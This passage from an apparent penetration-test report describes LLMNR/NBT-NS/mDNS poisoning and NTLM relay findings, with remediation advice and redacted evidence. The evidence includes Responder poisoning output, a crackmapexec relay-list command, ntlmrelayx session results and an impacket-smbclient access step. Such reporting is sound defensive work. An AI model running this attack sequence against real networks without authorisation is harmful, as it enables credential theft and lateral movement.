High	H.3—Multicast/broadcast name resolution poisoning
Impact	**High**: Exploitation of this vulnerability allows a threat actor to gather corresponding username and password hashes.
Exploitability	**Medium:** An attacker would need to reside within the subnet of the target computers for interception. However, exploitation is trivial.

Description

To communicate using protocols based on the Internet Protocol (Transmission Control Protocol ["TCP"]/IP, User Datagram Protocol ["UDP"]/IP, Internet Control Message Protocol ("ICMP")/IP, etc.), systems must know the IP address of the remote resource they want to converse with. Windows systems attempt to resolve IP addresses by looking in a local host's file and by issuing Domain Name Server ("DNS") requests. If these methods fail to resolve an IP address, by default, Windows systems will query the local network by sending LLMNR or NBT-NS requests. These protocols facilitate the discovery of IP addresses that are not already known by the requesting host or the DNS server.

An attacker can set up services that require connecting clients to use authentication. They can then trick clients into connecting to these services by responding to LLMNR and NBT-NS requests, with the IP address of the attacker-controlled services. When clients authenticate to the services, the attacker can capture user password hashes. These hashes can later be cracked by using offline cracking attacks, leading to the compromise of cleartext user credentials.

Similarly, mDNS is commonly found in OSX and Linux operating systems. The mDNS service is also utilized by the Google Chrome browser and inherently Electron-based applications, which use the Chromium code base. As with LLMNR and NBT-NS, these name queries can be leveraged to perform additional attacks.

Recommendation

Consider disabling NBT-NS and LLMNR protocols by issuing a domain group policy. Additionally, consider blocking LLMNR and other nonessential Network Discovery protocols at the network layer through firewall rules. Note that disabling Network Discovery and Multicast Name Resolution Protocols will likely prevent systems from communicating with other devices on the local network based on hostnames unless the relevant DNS servers are able to perform the necessary IP address resolution.

Monitor network traffic for systems that regularly send multicast resolution requests for untrusted hostnames. Review these systems to determine the underlying cause of the issue.

Scope

Target(s)
See Appendix B for list of targets.

Technical details

The evidence below displays multiple protocols being poisoned via Responder. This results in hashed credentials being acquired.

```
[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [redacted]
    Responder IPv6             [redacted]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [redacted]
    Responder Domain Name      [1G4Z.LOCAL]
    Responder DCE-RPC Port     [45254]

[+] Listening for events...

[*] [MDNS] Poisoned answer sent to ::ffff:[redacted] for name [redacted]
[*] [MDNS] Poisoned answer sent to ::ffff:[redacted] for name [redacted]
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] or name [redacted] (service: File Server)
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted] (service: File Server)
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted] (service: File Server)
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted]
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted]
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted]
[*] [NBT-NS] Poisoned answer sent to ::ffff[redacted] for name [redacted]
```

For more information, refer to the following:

- http://www.windowsnetworking.com/articles-tutorials/windows-server- 2008/Overview-Link-Local-Multicast-Name-Resolution.html
- http://www.pciqsatalk.com/disable-llmnr-netbios/
- http://tools.kali.org/sniffingspoofing/responder

High	H.4—NTLM relaying
Impact	**High**: Exploitation of this vulnerability allows an attacker to further its foothold in the network and login to additional hosts and services.
Exploitability	**High:** An attacker would need to reside within the subnet of the target computers for interception. However, exploitation is trivial.

Description

Windows workstations attached to the primary Windows domain were found to be vulnerable to NTLM Version 1.0 and NT Lan Manager ("NTLM") Version 2.0 relay attacks. Unit 42 was able to intercept authentication requests, relay them to other domain-joined Windows systems, and establish connections.

When an authentication attempt with the correct credentials and permissions is relayed, it will lead to a working session that other tools can leverage. This is possible without ever cracking the user's passwords. All commands will be run with the privilege of the relayed user account.

During testing, multiple users were found with local administrative permissions.

Recommendation

Unit 42 recommends the following:

- Enforce SMB message signing on all workstations.
- Disable the use of legacy SMB Versions 1.0 and 2.0 and enforce SMB Version 3.0 encryption.
- If possible, enforce Lightweight Directory Access Protocol ("LDAP") signing on all LDAP servers.
- If possible, enforce Kerberos authentication domain-wide and disable the NTLM protocol.

Scope

Target(s)
See Appendix B for list of targets.

Technical details

The following textbox displays the output of the crackmapexec tool generating a list of targets that have SMB signing disabled.

```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb subnetTargets.txt --gen-relay-list relay.txt
SMB                      445                [*] Windows 10.0 Build 17763 x64
(name:[redacted]) (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 18362 x64
(name:[redacted] (domain[redacted].com) (signing:True) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted]) (domain:[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted]) (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name[redacted] (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 19041 x64
(name:[redacted]) (domain[redacted].com) (signing:True) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted]) (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 17763 x64
(name:[redacted]) (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 17763 x64
(name:[redacted]) (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 19041 x64
(name:[redacted]) (domain[redacted].com) (signing:True) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name[redacted] (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted] (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted] (domain[redacted].com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:[redacted]) (domain[redacted]com) (signing:False) (SMBv1:False)
```

```
SMB                      445                [*] Windows 10.0 Build 19041 x64
(name:                   (domain            com) (signing:True) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 17763 x64
(name                    (domain            om) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:                   (domain            com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 19041 x64
(name:                   (domain            com) (signing:True) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:                   (domain            com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 14393 x64
(name:                   (domain            com) (signing:False) (SMBv1:False)
SMB                      445                [*] Windows 10.0 Build 19041 x64
(name                    (domain            com) (signing:True) (SMBv1:False)
[Truncated for brevity]
```

The list systems with SMB signed disabled was then fed into the tool ntlmrelayx to perform the SMB/NTLM relaying attack. The following screenshot displays the output of the nlmrelayx command. Any entries that have "TRUE" in the fourth column named "AdminStatus" indicate that the relayed credentials had local administrator access.

```
[*] SMBD-Thread-89: Connection from                    controlled, attacking target smb://
[*] Authenticating against smb://          as                  SUCCEED
[*] SOCKS: Adding                                  to active SOCKS connection. Enjoy
[*] SMBD-Thread-85: Connection from                    controlled, attacking target smb://
[*] Authenticating against smb://          as                  SUCCEED
[*] SOCKS: Adding                                  to active SOCKS connection. Enjoy
socks[*] SMBD-Thread-89: Connection from                    controlled, attacking target smb:

Protocol  Target       Username          AdminStatus  Port
--------  -----------  ----------------  -----------  ----
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      TRUE         445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      TRUE         445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      FALSE        445
SMB                                      TRUE         445
SMB                                      FALSE        445
```

Using the access obtained by NTLM relaying, Unit 42 interacted with the file system on remote systems with the "impacket-smbclient" tool.

```
┌──(kali㉿kali)-[~]
└─$ proxychains impacket-smbclient -no-pass [redacted]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  [redacted]  ...  OK
Type help for list of commands
```